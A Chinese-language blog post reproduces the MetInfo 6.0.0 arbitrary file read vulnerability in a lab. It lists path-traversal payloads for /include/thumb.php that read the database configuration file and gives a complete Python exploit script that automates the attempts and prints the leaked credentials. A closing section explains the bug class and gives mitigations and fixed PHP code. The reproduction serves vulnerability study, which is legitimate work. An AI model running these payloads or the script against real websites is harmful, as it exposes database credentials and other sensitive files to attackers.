metinfo_6.0.0_file-read 任意文件读取漏洞复现

metinfo_6.0.0_file-read版本下载

metinfo_6.0.0_file-read

说明内容
漏洞编号
漏洞名称MetInfo 6.0.0 任意文件读取漏洞
漏洞评级高危
影响范围* MetInfo 6.0.0
漏洞描述MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案* 打补丁 升级 上设备

漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

漏洞等级

高危

影响版本

  • MetInfo 6.0.0

漏洞复现

基础环境

组件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

漏洞点

/include/thumb.php

漏洞复现

image-20230831112121248

image-20230831112218631

进入网站:

image-20230831115051839

访问漏洞点:/include/thumb.php ,并进行过抓包

image-20230831115843174

第一次测试

/include/thumb.php?dir=..././http/.././config/config_db.php

image-20230831140913695

发现没有读到数据库的配置信息

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

image-20230831141039106

还是没有读到数据库的配置信息

第三次测试

/include/thumb.php?dir=http/......///......///config/config_db.php

image-20230831141118090

一样没有读取到数据库的配置信息

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20230831141516417

这次我们发现读取到了数据库的配置信息

注意:

  • 此POC 仅适用于Windows 系统,Linux 下无效。
深度利用

EXP 编写

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
                                                        - AJEST
Usage: python3 *.py http://10.4.7.130/metinfo_6.0.0
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

利用过程:

在桌面创建一个exp.py文件,将代码放入进去,然后执行:

sudo python3 *.py http://10.9.75.131/metinfo6.0.0/

解释:

  • sudo 是用来以管理者权限运行命令的关键字。
  • python3 表示要使用 Python 3 解释器来执行脚本。
  • *.py 是一个通配符,表示选择当前目录下所有以 “.py” 结尾的文件。
  • http://10.9.75.131/metinfo6.0.0/ 是目标URL

利用成功

image-20230831165423579

### 任意文件读取漏洞详情 任意文件读取漏洞通常是指应用程序中存在某些功能允许攻击者通过构造特定的请求,访问或下载服务器上的任意文件。这类漏洞往往出现在处理文件读取或下载的功能模块中,尤其是在路径参数未经过严格校验的情况下。 PHP 中常见的文件读取函数包括 `readfile` 和 `file_get_contents` 等。如果这些函数的参数(例如文件路径)直接由用户输入控制,并且没有对路径进行严格的过滤和验证,则可能导致任意文件读取漏洞。例如: ```php <?php $filename = $_GET['file']; readfile($filename); ?> ``` 在上述代码中,若用户传入类似 `../../../../etc/passwd` 的路径,则可能绕过限制读取敏感文件 [^1]。 此外,一些内容管理系统(CMS)或插件也可能存在此类漏洞。例如 MetInfo 6.0.0 ~ 6.1.0 版本中的 `/app/system/include/module/old_thumb.class.php` 文件存在任意文件读取漏洞,未经身份验证的攻击者可通过该漏洞读取网站上的敏感文件 [^2]。 ### 解决方案 为了防止 PHP 应用程序出现任意文件读取漏洞,可以采取以下措施: 1. **避免直接使用用户输入作为文件路径**:尽量不要将用户输入直接用于文件操作,而是使用预定义的白名单机制来控制可访问的文件。 2. **严格校验输入路径**: - 使用正则表达式对输入进行匹配,确保其符合预期格式。 - 避免使用目录遍历字符如 `../` 或 `..\`。 - 使用 `realpath()` 或 `basename()` 等函数提取合法路径部分。 3. **设置文件访问权限**:确保应用程序只能访问指定目录下的文件,可以通过配置服务器环境变量(如 `open_basedir`)来限制 PHP 脚本能够访问的目录范围。 4. **更新和修补第三方组件**:对于使用的内容管理系统(如 WordPress、MetInfo 等),应及时更新到最新版本以修复已知的安全漏洞 [^4]。 5. **最小权限原则**:运行 Web 服务器时应使用最低权限账户,这样即使发生漏洞也不会导致整个系统被攻破。 6. **日志监控与异常处理**:记录所有可疑行为并设置警报机制,以便及时发现潜在威胁。 7. **安全编码实践**:开发过程中遵循安全编码规范,定期进行代码审查和渗透测试,提高整体安全性。 ### 示例修复代码 下面是一个简单的修复示例,展示了如何限制用户只能访问特定目录下的文件: ```php <?php $allowedPath = '/var/www/html/files/'; $userInput = isset($_GET['file']) ? $_GET['file'] : ''; // 构造完整路径 $requestedFile = realpath($allowedPath . $userInput); // 检查是否在允许的目录内 if (strpos($requestedFile, $allowedPath) === 0 && is_file($requestedFile)) { readfile($requestedFile); } else { echo "Access denied."; } ?> ``` 在此示例中,只有当请求的文件位于 `$allowedPath` 目录下时才会被读取,从而有效防止了任意文件读取攻击 。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值